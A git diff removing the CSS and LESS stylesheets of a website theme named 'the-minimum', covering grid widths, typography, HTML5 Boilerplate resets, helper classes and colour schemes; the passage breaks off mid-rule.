.unit-article { - - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @8cols; } - - .unit-head-inner { - .meta { - margin-bottom: 0; - text-align: right; - width: @4cols; - float: right; - } - } - - } // .the-article - - .layout-page { - - .unit-body { - .unit-body-inner { width: @8cols; } - .article-list { - width: @8cols; - .meta { - margin-bottom: 0; - text-align: right; - width: @4cols; - float: right; - } - } - } - - } // .layout-page - - .the-footer { - - .unit-foot { width: @8cols; } - - } // the-footer - -} // min-width: 768px - -/* - Not that old computer layout -*/ - -@media only screen and (min-width: 1280px) { - - .the-header { - .unit-inner { width: @11cols; } - .logo { - width: @5cols; - float: left; - } - .nav-global { - margin-top: 21px; - text-align: right; - width: @5cols; - float: right; - } - } // the-header - - .unit-article { - - .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { width: @8cols; } - - .unit-foot { - .pagination { - float: left; - width: @7cols; - } - .gotop { - float: right; - margin-top: 0; - text-align: right; - width: @4cols; - } - } - - } // .unit-article - - .layout-page { - - .unit-body { - .unit-body-inner { width: @8cols; } - .article-list { - width: @8cols; - .meta { width: @4cols; } - } - } - - } // .layout-page - - .the-footer { - - .unit-foot { width: @11cols; } - - } // .the-footer - -} // min-width: 1280px - -/* - Huge-screen layout -*/ - -@media only screen and (min-width: 1410px) { - - .the-header { - .unit-inner { width: @16cols; } - .logo { width: @8cols; } - .nav-global { width: @8cols; } - } // the-header - - .unit-article { - - .unit-head-inner, .entry-content, .misc-content { width: @8cols; } - .unit-foot-inner { width: @16cols; } - - .unit-foot { - .pagination { width: @10cols; } - .gotop { - padding-right: 360px; - width: @2cols; - } - } - - } // .unit-article - - .layout-page { - - .unit-body { - .unit-body-inner { width: @8cols; } - .article-list { - width: @8cols; - .meta { width: @4cols; } - } - } - - } // .layout-page - - .the-footer { - - .unit-foot { width: @16cols; } - .unit-inner { - h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { - margin-left: 360px; - margin-right: 360px; - } - } - - } // .the-footer - -} // min-width: 1410px diff --git a/assets/themes/the-minimum/css/_less-base.less b/assets/themes/the-minimum/css/_less-base.less deleted file mode 100644 index e7fdcf6..0000000 --- a/assets/themes/the-minimum/css/_less-base.less +++ /dev/null @@ -1,213 +0,0 @@ -/* -Frameless <http://framelessgrid.com/> -by Joni Korpi <http://jonikorpi.com/> -licensed under CC0 <http://creativecommons.org/publicdomain/zero/1.0/> - -No styleguide reference. -*/ - -@font-size: 16; // Your base font-size in pixels -@line-height: 26; // Your base line-height in pixels -@em: @font-size*1em; // Shorthand for outputting ems, e.g. "12/@em" - -@column: 60; // The column-width of your grid in pixels -@gutter: 30; // The gutter-width of your grid in pixels - -// Column-widths in variables, in ems - - @1cols: ( 1 * (@column + @gutter) - @gutter) / @em; @1col: @1cols; // 60px - @2cols: ( 2 * (@column + @gutter) - @gutter) / @em; // 150px - @3cols: ( 3 * (@column + @gutter) - @gutter) / @em; // 240px - @4cols: ( 4 * (@column + @gutter) - @gutter) / @em; // 330px - @5cols: ( 5 * (@column + @gutter) - @gutter) / @em; // 420px - @6cols: ( 6 * (@column + @gutter) - @gutter) / @em; // 510px - @7cols: ( 7 * (@column + @gutter) - @gutter) / @em; // 600px - @8cols: ( 8 * (@column + @gutter) - @gutter) / @em; // 690px - @9cols: ( 9 * (@column + @gutter) - @gutter) / @em; // 780px -@10cols: (10 * (@column + @gutter) - @gutter) / @em; // 870px -@11cols: (11 * (@column + @gutter) - @gutter) / @em; // 960px -@12cols: (12 * (@column + @gutter) - @gutter) / @em; // 1050px -@13cols: (13 * (@column + @gutter) - @gutter) / @em; // 1140px -@14cols: (14 * (@column + @gutter) - @gutter) / @em; // 1230px -@15cols: (15 * (@column + @gutter) - @gutter) / @em; // 1320px -@16cols: (16 * (@column + @gutter) - @gutter) / @em; // 1410px - -// Column-widths in a function, in ems - -.width (@cols:1) { width: (@cols * (@column + @gutter) - @gutter) / @em; } - -/* -Font families - -No styleguide reference. -*/ - -@font-stack: Frutiger, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; -@webfont: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; - -/* -Base font size should be larger than 16px. -Calculation should be done via http://j.mp/rNg5uA - -No styleguide reference. -*/ - -body { - font-family: @font-stack; - font-size: @font-size / 16*1em; - line-height: @line-height / @em; -} - -/* -Font size setting -Using Golden ratio section (Caliculated via http://j.mp/sB6oxM): -109.657 6.854 843.515 * h1 -82.241 5.14 632.623 -67.773 4.236 521.331 -50.829 3.177 390.992 -41.887 2.618 322.208 * h2 -31.415 1.963 241.654 -25.888 1.618 199.138 * h3 -19.416 1.214 149.354 * h4 -16.000 1 123.077 * Base font size -12.000 0.75 92.308 * Minimum font size -Vertical Rhythm is caluculated via http://j.mp/sUvKuN - -No styleguide reference. -*/ - -h1, h2, h3, h4, h5, h6 { - font-family: @webfont; - font-weight: bold; -} - -h1, .h1 { - font-size: 42px; - line-height: 52px; - margin-top: 52px; - margin-bottom: 26px; - letter-spacing: -1px; -} -h2, .h2 { - font-size: 42px; - line-height: 52px; - margin-top: 52px; - margin-bottom: 26px; - letter-spacing: -1px; -} -h3, .h3 { - font-size: 26px; - line-height: 26px; - margin-top: 26px; - margin-bottom: 26px; -} -h4, .h4 { - font-size: 20px; - line-height: 26px; - margin-top: 26px; - margin-bottom: 26px; -} -p, ul, ol, dl, img { - margin-top: 0; - margin-bottom: @line-height / @em; -} -small, .small, aside { font-size: 0.75 * (@font-size / @em); } -.font-size-default { font-size: @font-size / @em; } - -blockquote { font-weight: bold; } -blockquote cite { font-weight: normal; } -strong { font-weight: bold; } -em { font-weight: bold; } - -/* -Color schemes - -No styleguide reference. -*/ - -/* solarized - http://j.mp/s9Xuw9 - -@base03: #002b36; -@base02: #073642; -@base01: #586e75; -@base00: #657b83; -@base0: #839496; -@base1: #93a1a1; -@base2: #eee8d5; -@base3: #fdf6e3; -@yellow: #b58900; -@orange: #cb4b16; -@red: #dc322f; -// @magenta: #d33682; -@violet: #6c71c4; -@blue: #268bd2; -@cyan: #2aa198; -@green: #859900; - -*/ - -// Tomorrow Night - http://j.mp/wvO4U4 - -@base03: #2d2d2d; -@base02: #393939; -@base01: #515151; -@base0: #cccccc; -@subtle: #999999; -@yellow: #ffcc66; -@orange: #f99157; -@red: #f2777a; -@violet: #cc99cc; -@blue: #6699cc; -@cyan: #66cccc; -@green: #99cc99; - -// Texture - -@noise-100-90-5: "/assets/themes/the-minimum/skin/100-90-5-monochrome.png"; // http://noisepng.com/ -@cross-hair: "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAAR0lEQVQYGYVOQQoAIAizHuJXpafqR4wFCw9Ggji2OSbubpkp3UI7Qmcidz9JIKniAYITEQasqovcJHhelquxFf9LVjfTeKFtWPOYLQ+xHqUAAAAASUVORK5CYII="; // http://ptrn.it/AmYV5d - -/* Junction Font - * http://www.theleagueofmoveabletype.com/ - * Using for Logo and headers -*/ - -@font-face { - font-family: 'junctionregularRegular'; - src: url('/assets/themes/the-minimum/font/Junction-webfont.eot'); - src: url('/assets/themes/the-minimum/font/Junction-webfont.eot?#iefix') format('embedded-opentype'), - url('/assets/themes/the-minimum/font/Junction-webfont.woff') format('woff'), - url('/assets/themes/the-minimum/font/Junction-webfont.ttf') format('truetype'), - url('/assets/themes/the-minimum/font/Junction-webfont.svg#junctionregularRegular') format('svg'); - font-weight: normal !important; - font-style: normal; -} - -/* -LESS helper -*/ - -/* -List modules -.list-linear - list line up horizontally - -No styleguide reference. -*/ - -.list-linear { - letter-spacing: -0.31em; - *letter-spacing: normal; - word-spacing: -0.43em; - list-style: none; - padding-left: 0; - li { - display: inline-block; - *display: inline; - zoom: 1; - line-height: normal; - letter-spacing: normal; - margin-right: 16px; - word-spacing: normal; - vertical-align: middle; - &:last-child { margin-right: 0; } - } -} diff --git a/assets/themes/the-minimum/css/base.css b/assets/themes/the-minimum/css/base.css deleted file mode 100644 index 4af02b8..0000000 --- a/assets/themes/the-minimum/css/base.css +++ /dev/null @@ -1,153 +0,0 @@ -/* -HTML5 display definitions from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -article, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display: block; } -audio, canvas, video { display: inline-block; *display: inline; *zoom: 1; } -audio:not([controls]) { display: none; } -[hidden] { display: none; } - -/* -Base from [HTML5 Boilerplate](http://j.mp/rP0wmY) -- Correct text resizing oddly in IE6/7 when body font-size is set using em units -- Force vertical scrollbar in non-IE -- Prevent iOS text size adjust on device orientation change, without disabling user zoom: h5bp.com/g -- Remove text-shadow in selection highlight: h5bp.com/i -- These selection declarations have to be separate -- Also: hot pink! (or customize the background color to match your design) - -No styleguide reference. -*/ - -html { font-size: 100%; overflow-y: scroll; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } -body { margin: 0; font-size: 1em; line-height: 1.4; -webkit-tap-highlight-color: rgba(255,0,0, 0.62); } -body, button, input, select, textarea { font-family: sans-serif; } -::-moz-selection { background: #073642; color: #fff; text-shadow: none; } -::selection { background: #073642; color: #fff; text-shadow: none; } - -/* -Links from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -a { color: #00e; } -a:visited { color: #551a8b; } -a:hover { color: #06e; } -a:focus { outline: thin dotted; } -a:hover, a:active { outline: 0; } - -/* -Typography from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -abbr[title] { border-bottom: 1px dotted; } -b, strong { font-weight: bold; } -blockquote { margin: 1em 40px; } -dfn { font-style: italic; } -hr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; } -ins { background: #ff9; color: #000; text-decoration: none; } -mark { background: #ff0; color: #000; font-style: italic; font-weight: bold; } -/* Redeclare monospace font family: h5bp.com/j */ -pre, code, kbd, samp { font-family: monospace, serif; _font-family: 'courier new', monospace; font-size: 1em; } -/* Improve readability of pre-formatted text in all browsers */ -pre { white-space: pre; white-space: pre-wrap; word-wrap: break-word; } -q { quotes: none; } -q:before, q:after { content: ""; content: none; } -small { font-size: 85%; } -sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } -sup { top: -0.5em; } -sub { bottom: -0.25em; } - -/* -Lists from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -ul, ol { margin: 0; padding: 0 0 0 40px; } -dd { margin: 0 0 0 40px; } -nav ul, nav ol { list-style: none; list-style-image: none; margin: 0; padding: 0; } - -/* -Embedded content from [HTML5 Boilerplate](http://j.mp/rP0wmY) -- Improve image quality when scaled in IE7: h5bp.com/d -- Remove the gap between images and borders on image containers: h5bp.com/e - -No styleguide reference. -*/ - -img { border: 0; -ms-interpolation-mode: bicubic; vertical-align: middle; } -svg:not(:root) { overflow: hidden; } /* Correct overflow not hidden in IE9 */ - -/* -Figures from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -figure { margin: 0; } - -/* -Forms from [HTML5 Boilerplate](http://j.mp/rP0wmY) -See inline comments for detail - -No styleguide reference. -*/ - -form { margin: 0; } -fieldset { border: 0; margin: 0; padding: 0; } -/* Indicate that 'label' will shift focus to the associated form element */ -label { cursor: pointer; } -/* - * 1. Correct color not inheriting in IE6/7/8/9 - * 2. Correct alignment displayed oddly in IE6/7 - */ -legend { border: 0; *margin-left: -7px; padding: 0; } -/* - * 1. Correct font-size not inheriting in all browsers - * 2. Remove margins in FF3/4 S5 Chrome - * 3. Define consistent vertical alignment display in all browsers - */ -button, input, select, textarea { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle; } -/* - * 1. Define line-height as normal to match FF3/4 (set using !important in the UA stylesheet) - */ -button, input { line-height: normal; } -/* - * 1. Display hand cursor for clickable form elements - * 2. Allow styling of clickable form elements in iOS - * 3. Correct inner spacing displayed oddly in IE7 (doesn't effect IE6) - */ -button, input[type="button"], input[type="reset"], input[type="submit"] { cursor: pointer; -webkit-appearance: button; *overflow: visible; } -/* - * Consistent box sizing and appearance - */ -input[type="checkbox"], input[type="radio"] { box-sizing: border-box; padding: 0; } -input[type="search"] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box; } -input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } -/* - * Remove inner padding and border in FF3/4: h5bp.com/l - */ -button::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; } -/* - * 1. Remove default vertical scrollbar in IE6/7/8/9 - * 2. Allow only vertical resizing - */ -textarea { overflow: auto; vertical-align: top; resize: vertical; } -/* Colors for form validity */ -input:valid, textarea:valid { } -input:invalid, textarea:invalid { background-color: #f0dddd; } - -/* -Tables from [HTML5 Boilerplate](http://j.mp/rP0wmY) - -No styleguide reference. -*/ - -table { border-collapse: collapse; border-spacing: 0; } -td { vertical-align: top; } diff --git a/assets/themes/the-minimum/css/helper.css b/assets/themes/the-minimum/css/helper.css deleted file mode 100644 index 1c3b77b..0000000 --- a/assets/themes/the-minimum/css/helper.css +++ /dev/null @@ -1,49 +0,0 @@ -/* -helper.css contains non-semantic helper classes -This must be the last file to import - -No styleguide reference. -*/ - -/* For image replacement */ -.ir { display: block; border: 0; text-indent: -999em; overflow: hidden; background-color: transparent; background-repeat: no-repeat; text-align: left; direction: ltr; *line-height: 0; } -.ir br { display: none; } -/* Hide from both screenreaders and browsers: h5bp.com/u */ -.hidden { display: none !important; visibility: hidden; } -/* Hide only visually, but have it available for screenreaders: h5bp.com/v */ -.visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } -/* Extends the .visuallyhidden class to allow the element to be focusable when navigated to via the keyboard: h5bp.com/p */ -.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } -/* Hide visually and from screenreaders, but maintain layout */ -.invisible { visibility: hidden; } -/* Firefox had different box-sizing for hr. See: http://jsfiddle.net/sFgt7/ */ -hr { -moz-box-sizing: content-box; } -/* Contain floats: h5bp.com/q */ -.clearfix:before, -.clearfix:after, -.cf:before, -.cf:after, -.hasGrid:before, -.hasGrid:after, -.unit-inner:before, -.unit-inner:after, -.tag_box:before, -.tag_box:after { content: ""; display: table; } -.clearfix:after, -.cf:after, -.hasGrid:after, -.unit-inner:after, -.tag_box:after { clear: both; } -.clearfix, -.cf, -.hasGrid, -.unit-inner, -.tag_box { *zoom: 1; } -.left { - *display: inline; - float: left; -} -.right { - *display: inline; - float: right; -} diff --git a/assets/themes/the-minimum/css/module.css b/assets/themes/the-minimum/css/module.css deleted file mode 100644 index 47503ad..0000000 --- a/assets/themes/the-minimum/css/module.css +++ /dev/null @@ -1,38 +0,0 @@ -/* -Base .mod module from http://j.mp/svs81k - -HTML should look like this and .bd is required: - <div class="mod"> - <div class="inner"> - <div class="hd"></div> - <div class="bd"></div> - <div class="ft"></div> - </div><!-- inner --> - </div><!-- mod --> - -No styleguide reference. -*/ - -.mod .inner { position:relative; } -.mod .bd, .mod .ft, .mod .hd { overflow:hidden; *overflow:visible; zoom:1; } - -/* -.media module from http://j.mp/tQCTa8 -Since .media uses overflow: hidden, box-shadow needs padding to render correctly. -Using dropdown or pop over should be problematic. Anything try to go outside of this module box should have problem. -HTML should look like this and .media-left or .media-right and .bd is required: - - <div class="media"> - <a href="#" class="media-left"><img src="#" alt=""></a> - <a href="#" class="media-right"><img src="#" alt=""></a> - <div class="bd"></div> - </div><!-- media --> - -No styleguide reference. -*/ - -.media { overflow:hidden; *overflow:visible; zoom:1; } -.media .media-left { float:left; margin-right: 14px; } -.media .img img { display:block; } -.media .media-right { float:right; margin-left: 14px; } -.media .bd, .media .ft, .media .hd { overflow:hidden; *overflow:visible; zoom:1; } diff --git a/assets/themes/the-minimum/css/style.css b/assets/themes/the-minimum/css/style.css deleted file mode 100644 index 2aa4a02..0000000 --- a/assets/themes/the-minimum/css/style.css +++ /dev/null @@ -1,852 +0,0 @@ -@import "base.css"; - -@import "module.css"; - -@import "syntaxhighlighter.css"; - -@import "helper.css"; -/* -Frameless <http://framelessgrid.com/> -by Joni Korpi <http://jonikorpi.com/> -licensed under CC0 <http://creativecommons.org/publicdomain/zero/1.0/> - -No styleguide reference. -*/ -/* -Font families - -No styleguide reference. -*/ -/* -Base font size should be larger than 16px. -Calculation should be done via http://j.mp/rNg5uA - -No styleguide reference. -*/ -body { - font-family: Frutiger, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; - font-size: 1em; - line-height: 1.625em; -} -/* -Font size setting -Using Golden ratio section (Caliculated via http://j.mp/sB6oxM): -109.657 6.854 843.515 * h1 -82.241 5.14 632.623 -67.773 4.236 521.331 -50.829 3.177 390.992 -41.887 2.618 322.208 * h2 -31.415 1.963 241.654 -25.888 1.618 199.138 * h3 -19.416 1.214 149.354 * h4 -16.000 1 123.077 * Base font size -12.000 0.75 92.308 * Minimum font size -Vertical Rhythm is caluculated via http://j.mp/sUvKuN - -No styleguide reference. -*/ -h1, -h2, -h3, -h4, -h5, -h6 { - font-family: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; - font-weight: bold; -} -h1, .h1 { - font-size: 42px; - line-height: 52px; - margin-top: 52px; - margin-bottom: 26px; - letter-spacing: -1px; -} -h2, .h2 { - font-size: 42px; - line-height: 52px; - margin-top: 52px; - margin-bottom: 26px; - letter-spacing: -1px; -} -h3, .h3 { - font-size: 26px; - line-height: 26px; - margin-top: 26px; - margin-bottom: 26px; -} -h4, .h4 { - font-size: 20px; - line-height: 26px; - margin-top: 26px; - margin-bottom: 26px; -} -p, -ul, -ol, -dl, -img { - margin-top: 0; - margin-bottom: 1.625em; -} -small, .small, aside { - font-size: 0.75em; -} -.font-size-default { - font-size: 1em; -} -blockquote { - font-weight: bold; -} -blockquote cite { - font-weight: normal; -} -strong { - font-weight: bold; -} -em { - font-weight: bold; -} -/* -Color schemes - -No styleguide reference. -*/ -/* solarized - http://j.mp/s9Xuw9 - -@base03: #002b36; -@base02: #073642; -@base01: #586e75; -@base00: #657b83; -@base0: #839496; -@base1: #93a1a1; -@base2: #eee8d5; -@base3: #fdf6e3; -@yellow: #b58900; -@orange: #cb4b16; -@red: #dc322f; -// @magenta: #d33682; -@violet: #6c71c4; -@blue: #268bd2; -@cyan: #2aa198; -@green: #859900; - -*/ -/* Junction Font - * http://www.theleagueofmoveabletype.com/ - * Using for Logo and headers -*/ -@font-face { - font-family: 'junctionregularRegular'; - src: url('/assets/themes/the-minimum/font/Junction-webfont.eot'); - src: url('/assets/themes/the-minimum/font/Junction-webfont.eot?#iefix') format('embedded-opentype'), url('/assets/themes/the-minimum/font/Junction-webfont.woff') format('woff'), url('/assets/themes/the-minimum/font/Junction-webfont.ttf') format('truetype'), url('/assets/themes/the-minimum/font/Junction-webfont.svg#junctionregularRegular') format('svg'); - font-weight: normal !important; - font-style: normal; -} -/* -LESS helper -*/ -/* -List modules -.list-linear - list line up horizontally - -No styleguide reference. -*/ -.list-linear { - letter-spacing: -0.31em; - *letter-spacing: normal; - word-spacing: -0.43em; - list-style: none; - padding-left: 0; -} -.list-linear li { - display: inline-block; - *display: inline; - zoom: 1; - line-height: normal; - letter-spacing: normal; - margin-right: 16px; - word-spacing: normal; - vertical-align: middle; -} -.list-linear li:last-child { - margin-right: 0; -} -/* LESS VARIABLES ---------------------------------------------------------------------------------- */ -/* GLOBAL ---------------------------------------------------------------------------------- */ -html { - background-color: #ffffff; - color: #2d2d2d; -} -/* LINK */ -a:link { - color: #2d2d2d; - text-decoration: none; -} -a:visited { - color: #141414; - text-decoration: none; -} -a:hover { - color: #474747; - text-decoration: none; -} -/* HIGHLIGHTER */ -pre { - margin-bottom: 1.625em; -} -pre { - color: #f2f2f2; - background-color: #393939; - border: 1px solid #393939; - font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; - margin-left: 0; - margin-right: 0; - padding: 1.625em; - overflow: auto; - -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); - -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); - box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); -} -/* meta */ -/* HEADER ---------------------------------------------------------------------------------- */ -.the-header .logo { - font-family: junctionregularRegular, "Frutiger Linotype", Univers, Calibri, "Gill Sans", "Gill Sans MT", "Myriad Pro", Myriad, "DejaVu Sans Condensed", "Liberation Sans", "Nimbus Sans L", Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, "MS PGothic", Osaka, Sans-Serif; - margin: 0; -} -.the-header .logo a:visited { - color: #2d2d2d; -} -.the-header .nav-global { - text-transform: uppercase; -} -.the-header .nav-global .forkme { - position: relative; - top: 2px; -} -/* MAIN ---------------------------------------------------------------------------------- */ -.unit-article header { - background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png'); - background-repeat: repeat; - background-position: 0 0; - background-color: #BADA55; - margin-bottom: 1.625em; - padding-top: 1.625em; - padding-bottom: 1.625em; -} -.unit-article header h1 { - color: #2d2d2d; - margin-top: 0; - margin-bottom: 0; -} -.unit-article .entry-content h2, -.unit-article .entry-content h3, -.unit-article .entry-content h4, -.unit-article .entry-content h5, -.unit-article .entry-content h6 { - color: #2d2d2d; -} -.unit-article .entry-content h2 a:link, -.unit-article .entry-content h3 a:link, -.unit-article .entry-content h4 a:link, -.unit-article .entry-content h5 a:link, -.unit-article .entry-content h6 a:link { - color: #2d2d2d; - border: 0; -} -.unit-article .entry-content h2 a:visited, -.unit-article .entry-content h3 a:visited, -.unit-article .entry-content h4 a:visited, -.unit-article .entry-content h5 a:visited, -.unit-article .entry-content h6 a:visited { - color: #141414; - border: 0; -} -.unit-article .entry-content h2 a:hover, -.unit-article .entry-content h3 a:hover, -.unit-article .entry-content h4 a:hover, -.unit-article .entry-content h5 a:hover, -.unit-article .entry-content h6 a:hover { - color: #474747; - border: 0; -} -.unit-article .entry-content:first-child h2, -.unit-article .entry-content:first-child h3, -.unit-article .entry-content:first-child h4, -.unit-article .entry-content:first-child h5, -.unit-article .entry-content:first-child h6 { - margin-top: 0; -} -.unit-article a:link { - border-bottom: 1px dotted #99cc99; -} -.unit-article a:visited { - border-bottom: 1px dotted #77bb77; -} -.unit-article a:hover { - border-bottom: 1px dotted #bbddbb; -} -.unit-article blockquote { - border-left: 1em solid rgba(21, 25, 25, 0.8); - padding-left: 1em; -} -.unit-article blockquote p { - margin-left: 0; - margin-right: 0; -} -.unit-article ul, .unit-article ol, .unit-article dl { - padding-left: 0; -} -.unit-article ul { - list-style: square; -} -.unit-article ol { - list-style: decimal; -} -.unit-article li h1, -.unit-article dt h1, -.unit-article dd h1, -.unit-article li h2, -.unit-article dt h2, -.unit-article dd h2, -.unit-article li h3, -.unit-article dt h3, -.unit-article dd h3, -.unit-article li h4, -.unit-article dt h4, -.unit-article dd h4, -.unit-article li h5, -.unit-article dt h5, -.unit-article dd h5, -.unit-article li p, -.unit-article dt p, -.unit-article dd p, -.unit-article li ul, -.unit-article dt ul, -.unit-article dd ul, -.unit-article li ol, -.unit-article dt ol, -.unit-article dd ol, -.unit-article li dl, -.unit-article dt dl, -.unit-article dd dl, -.unit-article li blockquote, -.unit-article dt blockquote, -.unit-article dd blockquote, -.unit-article li .hasGrid, -.unit-article dt .hasGrid, -.unit-article dd .hasGrid { - margin-left: 0; - margin-right: 0; -} -.unit-article p code, .unit-article li code { - margin: 0 2px; - padding: 2px 5px; - white-space: nowrap; - border: 1px solid #CCC; - background-color: #F8F8F8; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - -moz-background-clip: padding; - -webkit-background-clip: padding-box; - background-clip: padding-box; -} -.unit-article img { - display: block; - margin-left: auto; - margin-left: auto; -} -.unit-article img.left { - margin-right: 16px; -} -.unit-article img.right { - margin-left: 16px; -} -.unit-article .date-publish { - margin-bottom: 0; -} -.unit-article .list-linear .list-head { - margin-right: 4px; -} -.unit-article .list-category a, .unit-article .list-tag a { - border: 0 none; -} -.unit-article .list-category a:hover span, .unit-article .list-tag a:hover span { - background-color: #f99157; -} -.unit-article .list-category span, .unit-article .list-tag span { - background-color: #e25608; - padding: 1px 5px; - -webkit-border-radius: 10px; - -moz-border-radius: 10px; - border-radius: 10px; - color: white; - text-transform: uppercase; - margin: 0 6px 0 0; - display: inline-block; - position: relative; - vertical-align: middle; - top: -2px; - font-weight: bold; - font-size: 10px; -} -.unit-article .list-category { - margin-bottom: 0; - text-transform: capitalize; -} -.unit-article .list-tag { - text-transform: capitalize; -} -.unit-article .unit-foot { - background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png') repeat 0 0 #4d4d4d; - color: #fafafa; - padding-top: 1.625em; - padding-bottom: 1.625em; - position: relative; -} -.unit-article .unit-foot a:link { - color: #fafafa; -} -.unit-article .unit-foot a:visited { - color: #fafafa; -} -.unit-article .unit-foot a:hover { - color: #ffffff; -} -.unit-article .unit-foot nav ul { - list-style: none; -} -.unit-article .unit-foot nav ul li { - display: inline; -} -.unit-article .unit-foot .gotop { - margin-bottom: 0; -} -/* post & page */ -.layout-page .tag_box { - background: url('/assets/themes/the-minimum/skin/100-90-5-monochrome.png') repeat 0 0 #999999; - padding: 0.8125em; - list-style: none; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - -moz-background-clip: padding; - -webkit-background-clip: padding-box; - background-clip: padding-box; - -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); - -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); - box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.4), 0 1px 0 rgba(255, 255, 255, 0.4); -} -.layout-page .tag_box li { - display: inline; - line-height: normal; - vertical-align: middle; -} -.layout-page .tag_box a { - background-color: #99cc99; - float: left; - border: 1px solid #448844; - padding: 3px 6px 3px 6px; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - margin: 5px; - -moz-background-clip: padding; - -webkit-background-clip: padding-box; - background-clip: padding-box; - text-shadow: 0 -1px 0 rgba(255, 255, 255, 0.4); - -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -webkit-transition-duration: 0.2s; - -moz-transition-duration: 0.2s; - transition-duration: 0.2s; - -webkit-user-select: none; - -moz-user-select: none; - -ms-user-select: none; - user-select: none; -} -.layout-page .tag_box a:active { - -webkit-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - -moz-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - background: #336633; - border: solid #336633; -} -.layout-page .tag_box a:hover { - background-color: #77bb77; - border: 1px solid #336633; -} -.layout-page .tag_box a:hover span { - background-color: #e1e1e1; - border: 1px solid #77bb77; -} -.layout-page .tag_box span { - background-color: #fafafa; - border: 1px solid #99cc99; - padding: 1px 5px; - -webkit-border-radius: 10px; - -moz-border-radius: 10px; - border-radius: 10px; - color: #1a1a1a; - display: inline-block; - position: relative; - vertical-align: middle; - top: -2px; - font-weight: bold; - font-size: 10px; - -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); -} -/* FOOTER ------------------------------------------------ */ -.the-footer { - background-color: #1a1a1a; - background-color: rgba(21, 25, 25, 0.8); - color: #fafafa; - color: rgba(250, 250, 250, 0.8); - padding-bottom: 1.625em; -} -.the-footer a:link { - color: #99cc99; - border: 0; -} -.the-footer a:visited { - color: #77bb77; - border: 0; -} -.the-footer a:hover { - color: #bbddbb; - border: 0; -} -.the-footer ul { - list-style: square; - padding-left: 1em; -} -.the-footer address { - font-style: normal; -} -.the-footer .license { - clear: both; -} -.the-footer .license p { - margin-bottom: 0; -} -.the-header .unit-inner { - width: 15em; - margin-top: 1.625em; - margin-bottom: 1.625em; - margin-left: auto; - margin-right: auto; -} -.the-header .logo a { - 